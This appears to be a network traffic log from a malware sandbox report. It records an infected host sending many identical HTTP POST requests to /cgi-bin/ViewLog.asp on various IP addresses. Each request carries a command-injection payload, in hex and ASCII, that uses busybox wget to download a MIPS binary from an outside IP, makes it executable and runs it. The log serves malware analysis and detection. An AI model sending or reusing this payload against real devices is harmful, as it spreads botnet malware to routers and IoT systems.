Nov 23, 2023 05:17:19.750505924 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	43986	94.123.181.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:18.761110067 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	55086	31.136.172.28	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:19.167716980 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:19.750488043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.870345116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:23.238326073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.846366882 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:36.806299925 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.750221968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	41672	94.121.122.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:19.207834005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	44870	94.120.42.92	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:19.213568926 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	51828	31.136.221.148	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:20.129679918 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.710323095 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:21.862348080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:24.262301922 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:28.870320082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.086267948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.798221111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	53624	94.121.123.78	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:22.579154015 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	53512	95.249.93.75	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:22.773741961 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:23.023637056 CET	90	IN	HTTP/1.1 403 Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	44148	94.120.53.83	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:22.808782101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	59226	95.209.137.249	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:22.810565948 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	47338	31.136.165.88	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:22.957624912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:23.526308060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:24.646420956 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.078334093 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:31.686331987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:40.646260023 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
